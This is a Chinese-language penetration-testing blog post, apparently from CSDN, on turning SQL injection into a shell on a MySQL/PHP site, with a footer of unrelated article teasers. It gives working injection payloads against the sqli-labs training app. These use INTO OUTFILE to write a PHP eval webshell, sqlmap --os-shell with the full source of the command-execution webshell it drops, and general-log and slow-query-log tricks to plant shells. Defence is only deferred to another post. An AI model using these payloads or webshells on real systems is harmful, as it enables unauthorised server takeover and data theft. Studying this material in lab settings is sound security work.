渗透测试之利用sql拿shell(附完整流程)【全】

发布时间:2026/11/4 22:10:34

渗透测试之利用sql拿shell(附完整流程)【全】 导读时刻保持谦逊始终保持学习探寻事物的本质不要把事情复杂化目录前言流程通过into outfile进行文件写入利用sqlmap利用日志getshell利用文件包含漏洞getshell利用数据库备份getshell前言为什么SQL注入能拿ShellSQL注入的本质是通过恶意SQL语句操控数据库而部分数据库支持执行系统命令或写入文件。若能利用注入点向Web目录写入一句话木马即可通过中国菜刀/蚁剑连接获取Shell。流程寻找SQL注入点 → 判断数据库类型 → 获取Web路径 → 写入WebShell → 连接shell一、通过into outfile进行文件写入利用条件拥有网站的写入权限知道网站的绝对路径Secure_file_priv参数为空或可写目录在mysql/my.ini中查看注Secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL。secure_file_priv的值为null 表示限制mysqld 不允许导入|导出当secure_file_priv的值为/tmp/ 表示限制mysqld 的导入|导出只能发生在/tmp/目录下当secure_file_priv的值没有具体值时表示不对mysqld 的导入|导出做限制实际操作1查看secure-file-priv参数的值show global variables like %secure%;2修改secure_file_priv 的值windows下修改my.ini 在[mysqld]内加入secure_file_priv linux下修改my.cnf 在[mysqld]内加入secure_file_priv 在mysql/my.ini[mysqld]中查看是否有secure_file_priv 的参数没有的话加上secure_file_priv 即可再查看secure_file_priv的值如下已经变为空了 。3写入shell以sqli-labs第七关为例1、判断注入点通过输入?id3)) and sleep(3) --时成功延时发现存在注入点就为3))2、判断列数通过order by 3 回显正常、order by 4报错判断为3列3、写入shellhttp://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-7/?id-3)) union select 1,?php eval($_POST[test]); ?,3 into outfile C:\\Penetration\\TrafficTools\\phpStudy\\PHPTutorial\\WWW\\outfile.php --4. 连接webshell使用蚁剑连接成功二、利用sqlmap利用条件拥有网站的写入权限能够使用单引号知道网站的绝对路径Secure_file_priv参数为空或可写目录在mysql/my.ini中查看实际操作 以sqli-labs第一关为例sqlmap.py -u http://xxx?id1 --sql-shell //进入命令行1查看文件路径select datadir; //mysql/data的路径根目录一般与mysql处于同一目录2查看secure_file_priv 参数值select secure_file_priv //若为空则什么都不显示若为NULL则显示NULL3写入shell1、--os-shell通过udf提权写入shell也是通过into oufile向服务器写入两个文件一个可以直接执行系统命令一个进行上传文件2、选择语言3、填写文件路径sqlmap在指定的目录生成了两个文件文件名是随机的并不是固定的tmpbuwzg.php用来执行系统命令tmpunynt.php用来上传文件tmpbuwzg.php文件内容为?php $c$_REQUEST[cmd];set_time_limit(0);ignore_user_abort(1);ini_set(max_execution_time,0);$zini_get(disable_functions);if(!empty($z)){$zpreg_replace(/[, ]/,,,$z);$zexplode(,,$z);$zarray_map(trim,$z);}else{$zarray();}$c$c. 21\n;function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f(system)){ob_start();system($c);$wob_get_clean();}elseif(f(proc_open)){$yproc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$wNULL;while(!feof($t[1])){$w.fread($t[1],512);}proc_close($y);}elseif(f(shell_exec)){$wshell_exec($c);}elseif(f(passthru)){ob_start();passthru($c);$wob_get_clean();}elseif(f(popen)){$xpopen($c,r);$wNULL;if(is_resource($x)){while(!feof($x)){$w.fread($x,512);}}pclose($x);}elseif(f(exec)){$warray();exec($c,$w);$wjoin(chr(10),$w).chr(10);}else{$w0;}echopre$w/pre;?4、成功访问访问 tmpbuwzg.php并利用cmd执行命令访问tmpunynt.php上传文件正常上传木马连接即可。三、利用日志getshell利用条件拥有网站的写入权限知道网站的绝对路径数据库日志开启实际操作1查看数据库日志是否开启以及路径show variables like %general%;2开启日志功能修改general_log的值为ONset global general_log ON;修改文件路径注意路径用两次\\进行转义set global general_log_fileC:\\Penetration\\TrafficTools\\phpStudy\\PHPTutorial\\WWW\\shell.php3写入shellselect ?php eval($_POST[test]);?;4成功连接shell四、利用慢查询getshell慢查询日志当查询语句执行的时间要超过系统默认的时间时,该语句会被记入慢查询日志。一般都是通过long_query_time选项来设置这个时间值时间以秒为单位可以精确到微秒。如果查询时间超过了这个时间值这个查询语句将被记录到慢查询日志中。查看服务器默认时间值方式如下利用条件拥有网站的写入权限知道网站的绝对路径数据库慢查询日志开启实际操作1查看日志状态show global variables like %long_query_time%;通常情况下执行sql语句时的执行时间一般不会超过10s所以说这个日志文件应该是比较小的而且默认也是禁用状态不容易引起管理员的察觉。2开启日志功能set global slow_query_log ON;填写文件路径set global slow_query_log_file C:\\Penetration\\TrafficTools\\phpStudy\\PHPTutorial\\WWW/shell1.php3在查询语句中写入一句话木马并延时10秒以上select ?php eval($_POST[test]);? or sleep(12);4成功连接shell五、利用文件包含漏洞getshell对于phpmyadmin来说有一种特殊的机制所有SQL的执行操作将存入session。所以如果目标站点存在文件包含漏洞我们可以通过包含session文件来拿shell。配合站点文件包含漏洞进行shell连接 即可六、利用数据库备份getshell网站对上传的文件后缀进行过滤如不允许上传脚本类型文件如asp/php/jsp/aspx等。而网站具有数据库备份功能这时我们就可以将webshell格式先改为允许上传的文件格式如jpg、gif等然后我们找到上传后的文件路径通过数据库备份文件备份为脚本格式。重点是路径找对防御方案通过本文可以发现SQL注入写入shell需要满足几个条件根据条件来进行对应防御措施即可具体请见下节。渗透测试之利用sql注入拿shell防御方案-CSDN博客文中如有错误还请各位大佬批评指正感激不尽
延伸阅读

更多相关文章

2026/10/27 10:43:51

Go语言定时器原理与应用实践

1. Golang定时器基础概念在Go语言中,定时器是并发编程中不可或缺的核心组件。不同于其他语言的定时器实现,Go的定时器设计充分体现了其并发模型的特点。我们先从最基础的两种定时器类型开始:time.Timer是一次性定时器,就像厨房里的…

2026/10/29 22:33:39

excel基础(更新中)

数据录入的正确方式正确录入方式【Tab】→单元格右移动【Shift】【Tab】→单元格左移动【Enter】→单元格下移【Tab】【Enter】→下一行起始单元格特殊格式的录入日期格式为2025-3-13(回车后会转变成2025/3/13)或者2025/3/13,只有这两种格式才会被excel识别为日期&a…

2026/11/5 16:51:33

EasyU优启通PE维护盘实战指南:制作、启动与核心操作全解析

1. 为什么一个PE维护盘值得单独拿出来聊装系统、修引导、救数据、清病毒,这些活儿但凡干过几次的人都知道,真正决定效率的往往不是你手速多快,而是手边那套PE环境靠不靠谱。EasyU(圈内习惯叫优启通)就是在这个场景下被…

2026/11/5 16:26:13

Rust原来很简单二:所有权系统

Part 2 核心篇 —— 所有权系统 本篇覆盖 第 6 ~ 10 章:所有权、借用与引用、生命周期、字符串与切片、内存模型。 ⚠️ 这是全书最重要的一篇。 把它吃透,Rust 从此“很简单”;跳过它,你会处处碰壁。请慢下来,动手敲每一段代码。 第 6 章 所有权:Rust 的第一性原理 6…

2026/11/5 15:00:49

基于Hadoop+Spark的民宿智能推荐系统设计与实现

1. 项目概述:大数据时代的民宿智能推荐这个毕业设计项目融合了当前大数据领域最主流的技术栈,构建了一个完整的民宿推荐系统解决方案。作为一名长期从事大数据系统开发的工程师,我认为这个选题非常贴合实际应用场景——随着旅游业的复苏和共享…

2026/11/5 14:10:30

ADS122U04IPWR+STM32F427ZI工业级温度测量信号链设计

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/11/5 14:10:30

UART接口24位ADC搭配RS485,解决远距离温度监控难题

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/11/5 14:10:30

UART接口24位ADC搭配PIC18F46K22的RTD与热电偶测温实践

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/11/5 15:39:06

面向复杂光照与角度的宠物面部识别鲁棒性增强策略

在智慧养宠时代,基于视觉的宠物身份识别技术正逐步从实验室走向家庭应用。然而,与配合度高的人类不同,宠物是典型的“非合作生物识别对象”——它们不会主动配合摄像头调整姿态,更无法控制光照环境。实际应用中,我们常…

2026/11/4 21:04:25

SSM电子书店源码全解析:结构、原理、部署与排错实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/11/5 0:02:07

多智能体协作系统架构设计与实践优化

1. 多智能体协作系统的时代背景2017年Transformer架构的诞生彻底改变了人工智能的发展轨迹。当行业还沉浸在单一大模型带来的性能突破时,Anthropic的研究团队已经将目光投向了更前沿的领域——如何让多个智能体通过协作产生超越单体能力的系统智能。这就像交响乐团中…

2026/11/5 0:02:07

大模型系统性入门实战指南:从原理到部署微调的全链路路线

提到大模型的系统性入门,我先说个结论:这事真不难,难的是资料太散、路线太多,今天这个框架明天那个工具,新人很容易在“收藏夹吃灰”和“教程看到一半放弃”之间反复横跳。市面上关于大模型的内容少说有几十万篇&#…

2026/11/5 0:02:07

鸿蒙文件系统沙箱机制解析与开发实践

1. 鸿蒙文件系统沙箱机制深度解析作为一名从Android转向鸿蒙开发的工程师,我深刻体会到文件系统访问是迁移过程中最先遇到的"拦路虎"。在Android上运行良好的文件读写代码,在鸿蒙真机环境却频频出现文件写入后神秘消失或直接抛出权限拒绝错误的…

2026/11/5 15:39:06

面向复杂光照与角度的宠物面部识别鲁棒性增强策略

在智慧养宠时代,基于视觉的宠物身份识别技术正逐步从实验室走向家庭应用。然而,与配合度高的人类不同,宠物是典型的“非合作生物识别对象”——它们不会主动配合摄像头调整姿态,更无法控制光照环境。实际应用中,我们常…

2026/11/4 21:04:25

SSM电子书店源码全解析:结构、原理、部署与排错实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

还想了解更多?直接咨询顾问

免费诊断 + 免费方案 + 透明报价。

全国咨询热线400-8866-253
免费获取方案
☎咨询二维码 ☎ ↑